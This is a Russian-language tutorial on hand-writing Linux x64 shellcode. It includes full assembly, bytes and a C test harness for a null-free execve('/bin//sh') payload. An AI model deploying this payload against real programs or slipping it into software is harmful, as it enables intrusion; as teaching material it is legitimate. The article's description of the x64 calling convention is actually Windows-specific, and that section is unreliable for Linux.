В последнее время активно развивается IoT, в котором почти везде (если не везде) используется ядро Linux. Однако статей по вирусописательству и шеллкодингу под эту платформу сравнительно мало. Думаешь, писать шеллкод под Linux это для избранных? Давай выясним так ли это!

База

Для компиляции шеллкода нам понадобится компилятор и линковщик. Мы будем использовать nasm и ld. Для проверки работы шеллкода мы напишем небольшую программку на С. Для её компиляции нам понадобится gcc. Для некоторых проверок нам понадобится rasm2, который является частью фреймворка radare2. Для написание вспомогательных функций мы будем использовать Python.

Что нового в x64?

x64 является расширением архитектуры Intel IA-32. Основной отличительной особенностью данной архитектуры является поддержка 64-битных регистров общего назначения, 64-битных арифметических и логических операций над целыми числами и 64-битных виртуальных адресов.

Если говорить более конкретно, то все 32-битные регистры общего назначения сохраняются, добавляются их расширенные версии: rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp. В дополнение к ним появляется несколько новых регистров общего назначения: r8, r9, r10, r11, r12, r13, r14, r15.

Появляется новое соглашение о вызовах (в отличие от архитектуры x86 оно только одно). Согласно ему, при вызове функции каждый регистр используется для определенных целей, а именно:

  • Первые четыре целочисленных аргумента функции передаются через регистры rcx, rdx, r8 и r9 и через регистры xmm0-xmm3 для типов с плавающей точкой;
  • Остальные параметры передаются через стек;
  • Для параметров, передаваемых через регистры, все равно резервируется место в стеке;
  • Результат работы функции возвращается через регистр rax для целочисленных типов или через регистр xmm0 для типов с плавующей точкой;
  • rbp содержит указатель на базу стека, т.е. место (адрес) где начинается стек.
  • rsp содержит указатель на вершину стека, т.е. на место (адрес) куда будет помещено новое значение.
  • rsi, rdi используются в syscall.

Немного о стеке - так как адреса теперь 64-битные, значение в стеке могут иметь размер 8 байт.

syscall. Что? Как? Зачем?

syscall - это способ, посредством которого user-mode взаимодействует с ядром в Linux. Он используется для различных задач: операции ввода-вывода, запись/чтение файлов, открытие/закрытие программ, работа с памятью и сетью и так далее. Для того, чтобы выполнить syscall необходимо:

  1. загрузить соответствующий номер функции в регистр ‘rax’;
  2. загрузить входные параметры в остальные регистры;
  3. вызвать прерывание под номером 0x80 (начиная с версии ядра 2.6, это делается через вызов syscall).

В отличие от Windows, где нужно еще найти адрес необходимой функции, здесь все довольно просто и лаконично.

Номера нужных syscall функций можно найти, например, здесь.

execve().

Если вы посмотрите на готовые шеллкоды, то многие из них используют функцию execve().

execve() имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const envp[]);

Она вызывает программу filename. Программа filename может быть либо исполняемым бинарником, либо скриптом, который начинается со строки #! interpreter [optional-arg].

argv[] является указателем на массив и по сути это тот самый argv[], который мы видим в C, Python и т.д.

envp[] является указателем на массив, описывающий окружение. В нашем случае не используется, будет иметь значение null.

Основные требования к шеллкоду

Существует такое понятие как position-independent code. Это такой код, который будет выполнятся независимо от того, по какому адресу он загружен. Для того, чтобы наш шеллкод мог выполнятся в любом месте программы, он должен быть позиционно-независимым.

Чаще всего шеллкод загружается функциями наподобие strcpy(). Подобные функции используют байты 0x00, 0x0A, 0x0D как разделители (зависит от платформы и функции). Поэтому лучше такие значения не использовать. В противном случае, функция может скопировать шеллкод неполностью. Рассмотрим следующий пример:

$ rasm2 -a x86 -b 64 'push  0x00'
6a00

Как видно, код push 0x00 скомпилируется в следующие байты 6a 00. Если бы мы использовали такой код, наш шеллкод бы не сработал. Функция бы скопировала все, что находится до байта со значением 0x00.

В шеллкоде нельзя использовать “захардкоженные” адреса, потому что мы заранее эти самые адреса не знаем. По этой причине все строки в шеллкоде получаются динамически и хранятся в стеке.

Вот вроде бы и все.

Just do it!

Если ты дочитал до этого места, то уже должна сложится картина того, как будет работать наш шеллкод.

Первым делом необходимо подготовить параметры для функции execve() и затем правильно расположить их на стеке. Функция будет выглядеть следующим образом:

execve("/bin/sh/", ["/bin/sh"], null);

Второй параметр представляет собой массив argv[]. Первый элемент этого массива содержит путь к исполняемому файлу.

Третий параметр представляет собой информацию об окружении, нам он не нужен, поэтому будет иметь значение null.

Сначала получим нулевой байт. Мы не можем использовать структуру вида mov eax, 0x00, потому что это приведет к появлению null-байтов в коде, поэтому мы будем использовать следующую инструкцию:

xor rdx, rdx

Оставим это значение в регистре rdx, так как оно еще понадобится в качестве символа конца строки и значения третьего параметра (которое будет null).

Так как стек растет от старших адресов к младшим, а функция execve() будет читать входные параметры от младших к старшим (т.е. стек работает с памятью в обратном порядке), то на стек мы будем класть перевернутые значения.

Для того, чтобы перевернуть строку и перевести ее в hex можно использовать следующую функцию на Python:

def rev_str(s):
    rev = s[::-1]
    return rev.encode("hex")

Вызовем эту функцию для /bin/sh:

>>> rev.rev_str("/bin/sh")
'68732f6e69622f'

Получили строку длиной 7 байт. Теперь рассмотрим, что произойдет если мы попробуем положить ее в стек:

$ rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
48b82f62696e2f73680050

Мы получили нулевой байт (второй байт с конца), который сломает наш шеллкод. Чтобы этого не произошло, воспользуемся тем, что Linux игнорирует последовательные слеши(т.е. /bin/sh и /bin//sh - это одно и то же).

>>> rev.rev_str("/bin//sh")
'68732f2f6e69622f'

Теперь мы получили строку длиной 8 байт. Посмотрим, что будет, если положить ее в стек:

$ rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
48b82f62696e2f2f736850

Ни каких нулевых байт.

Затем на сайте ищем информацию о функции execve(). Смотрим номер функции, который положим в rax - 59. Смотрим какие регистры используются:

  • rdi - хранит адрес строки filename;
  • rsi - хранит адрес строки argv;
  • rdx - хранит адрес строки envp.

Теперь собираем все воедино.

Кладем в стек символ конца строки (помним, что все делаем в обратном порядке):

xor rdx, rdx
push rdx

Кладем в стек строку /bin//sh:

mov rax, 0x68732f2f6e69622f
push rax

Получаем адрес строки /bin//sh в стеке и сразу помещаем его в rdi:

mov rdi, rsp

В rsi необходимо положить указатель на массив строк. В нашем случае этот массив будет содержать только путь до исполняемого файла, поэтому достаточно положить туда адрес, который ссылается на память, в которой лежит адрес строки (на языке С указатель на указатель). Адрес строки у нас уже есть, он находится в регистре rdi. Массив argv должен заканчиваться null-байтом, который у нас находится в регистре rdx:

push rdx
push rdi
mov rsi, rsp

Теперь rsi указывает на адрес в стеке, в котором лежит указатель на строку /bin//sh.

Кладем в rax номер функции execve():

xor rax, rax
mov al, 0x3b

В итоге получили такой файл:

;runs /bin/sh

section .text
    global _start

_start:

    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Компилируем и линкуем под x64. Для этого:

$ nasm -f elf64 example.asm
$ ld -m elf_x86_64 -s -o example example.o

Теперь можем использовать objdump -d example для того, чтобы посомтреть получившийся файл:

Disassembly of section .text:
0000000000400080 <.text>:
  400080:	48 31 d2             	xor    %rdx,%rdx
  400083:	52                   	push   %rdx
  400084:	48 b8 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rax
  40008b:	2f 73 68
  40008e:	50                   	push   %rax
  40008f:	48 89 e7             	mov    %rsp,%rdi
  400092:	52                   	push   %rdx
  400093:	57                   	push   %rdi
  400094:	48 89 e6             	mov    %rsp,%rsi
  400097:	48 31 c0             	xor    %rax,%rax
  40009a:	b0 3b                	mov    $0x3b,%al
  40009c:	0f 05                	syscall

Чтобы получить шеллкод вида \x11\x22... из бинарника, можем воспользоваться следующим кодом:

for i in `objdump -d example | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

В результате получаем:

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05

Тестируем шеллкод

Для теста шеллкода используем следующую программу на С (вместо SHELLCODE нужно вставить получившийся шеллкод):

/* shellcode test program */

char shellcode [] = "SHELLCODE";

int main()
{
    void (*f)() = (void(*)())shellcode;
    f();
    return 0;
}

Затем компилируем:

gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c

В результате получаем прогамму shellcode_test. Запускаем программу и попадаем в интерпретатор sh. Для выхода вводим exit.

Заключение

Вот мы и написали свой первый шеллкод под Linux x64. На первый взляд ничего сложного, но главная сложность заключается в сокращении размеров шеллкода. Также нельзя забывать, что это лишь первый шеллкод, он не справится с DEP и ASLR, но полученные навыки пригодятся для написания более сложных вещей.